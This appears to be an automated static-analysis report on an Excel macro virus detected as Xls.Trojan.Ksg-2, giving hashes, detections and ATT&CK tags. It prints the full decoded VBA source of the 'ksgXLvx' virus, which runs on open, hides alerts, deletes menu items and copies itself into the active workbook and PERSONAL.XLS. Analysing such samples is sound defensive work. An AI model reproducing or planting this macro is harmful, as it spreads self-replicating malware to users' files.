Xls.Trojan.Ksg-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 bec5c4bc24c03e1c…

MALICIOUS

Office (OLE)

22.5 KB Created: 2000-06-22 16:33:05 Authoring application: Microsoft Excel First seen: 2015-10-03
MD5: c9527a7ce17b983d25dab03dbff70c10 SHA-1: 07b38d5140160c4cb083ba863ff523bf479b6a11 SHA-256: bec5c4bc24c03e1cd36c1439f1e21a5c970f7e5a1187294559825cc74bf9e1a5
148 Risk Score

Malware Insights

Xls.Trojan.Ksg-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This Excel file contains a critical Auto_Open VBA macro, identified by ClamAV as Xls.Trojan.Ksg-2. The macro appears to be designed to execute automatically upon opening the document, likely to perform malicious actions. The presence of the 'ksgXLvx' macro and the mention of 'PERSONAL.XLS' suggest potential infection or payload delivery mechanisms.

Heuristics 3

  • ClamAV: Xls.Trojan.Ksg-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Ksg-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3146 bytes
SHA-256: 45502bb1f2e02d1575f669bb49df99fd19459199da30d474fc46e8f6330a3d1c
Detection
ClamAV: Xls.Trojan.Ksg-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ksgXLvx"
; This is ksgXLvx
; (c) 2000 by ksg
; astigmatiZm virus group
; www.astigmatizm.cjb.net
; Import in XL VB to activate this virus


Declare Function ShowCursor Lib "USER32" (ByVal fShow As Integer) As Integer
Sub Auto_Open()
Application.OnSheetActivate = "osa"
End Sub

Sub osa()
On Error Resume Next
vname = "ksgXLvx"
dfname = "PERSONAL.XLS"
asp = Application.StartupPath & "\" & dfname
loop1 = 0
loop2 = 0
With Application
.StatusBar = "XM97.ksgXLvx"
.ScreenUpdating = (Rnd * 0)
.DisplayAlerts = (Rnd * 0)
.EnableCancelKey = xlDisabled
End With
CommandBars("Tools").Controls(10).Delete
CommandBars("Tools").Controls(12).Delete
CommandBars("View").Controls(3).Delete
CommandBars("Window").Controls(3).Delete
CommandBars("Window").Controls(4).Delete
Set var1 = Current.VBProject.VBComponents
Set var2 = CodeModule
Set Current = MacroContainer
For loops = 1 To 20
Number = var1("ksgXLvx").var2.ProcCountLines("osa", vbext_pk_Proc)
RandomLine = Int(Rnd() * Number + 1)
RemarkLength = Int(Rnd() * 40 + 1)
For Length = 1 To RemarkLength
Remark = Remark + Chr$(Int((90 - 65 + 1) * Rnd + 65))
Next Length
var1("ksgXLvx").var2.InsertLines RandomLine, vbTab & "Rem " & Remark
Remark = ""
Next loops
Call ksg
End Sub

Sub ksg()
On Error Resume Next
If Day(Now()) = 10 And Month(Now()) = 9 Then
MsgBox "yet another virus from ksg....", vbCritical, "ksgXLvx"
ActiveDocument.Content.Font.Animation = wdAnimationSparkleText
While ShowCursor(False) >= 0
Wend
End If
Application.VBE.ActiveVBProject.VBComponents.Item(vname).Export "C:\ksgXLvx.sys"
If Dir(asp) = dfname Then loop2 = 1
For x = 1 To ActiveWorkbook.VBProject.VBComponents.Count
If ActiveWorkbook.VBProject.VBComponents(x).Name = vname Then loop1 = 1
Next x
If loop1 = 0 Then
ActiveWorkbook.VBProject.VBComponents.Import "C:\ksgXLvx.sys"
ActiveWorkbook.Save
End If
If loop2 = 0 Then
Workbooks.Add.SaveAs FileName:=asp
ActiveWorkbook.VBProject.VBComponents.Import "C:\ksgXLvx.sys"
ActiveWindow.Visible = False
Workbooks(dfname).Save
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.